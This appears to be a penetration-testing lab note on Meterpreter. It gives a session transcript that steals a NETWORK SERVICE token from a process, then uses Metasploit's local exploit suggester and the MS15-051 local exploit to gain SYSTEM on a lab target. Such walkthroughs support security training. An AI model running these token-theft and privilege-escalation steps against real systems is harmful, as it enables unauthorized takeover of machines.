It is an advanced Metasploit payload that resides entirely in memory without writing anything to disk, making forensic detection more difficult. It is injected into a process on the compromised system, does not create new processes, and uses AES encryption for communications, providing greater stealth
Obtaining Privileges
txt
meterpreter > getuid
[-] 1055: Operation failed: Access is denied.
meterpreter > ps
PID PPID Name Arch Session User Path
1836 592 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe
meterpreter > steal_token 1836
Stolen token with username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
List processes and migrate to whichever one is most useful to us
Escalating Privileges
txt
meterpreter > bg
msf6 > search local_exploit_suggester
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(...) > set SESSION 1
msf6 post(...) > run
[+] 10.10.10.15 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
msf6 > use exploit/windows/local/ms15_051_client_copy_image
msf6 exploit(...) > set session 1
msf6 exploit(...) > set LHOST tun0
msf6 exploit(...) > run
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM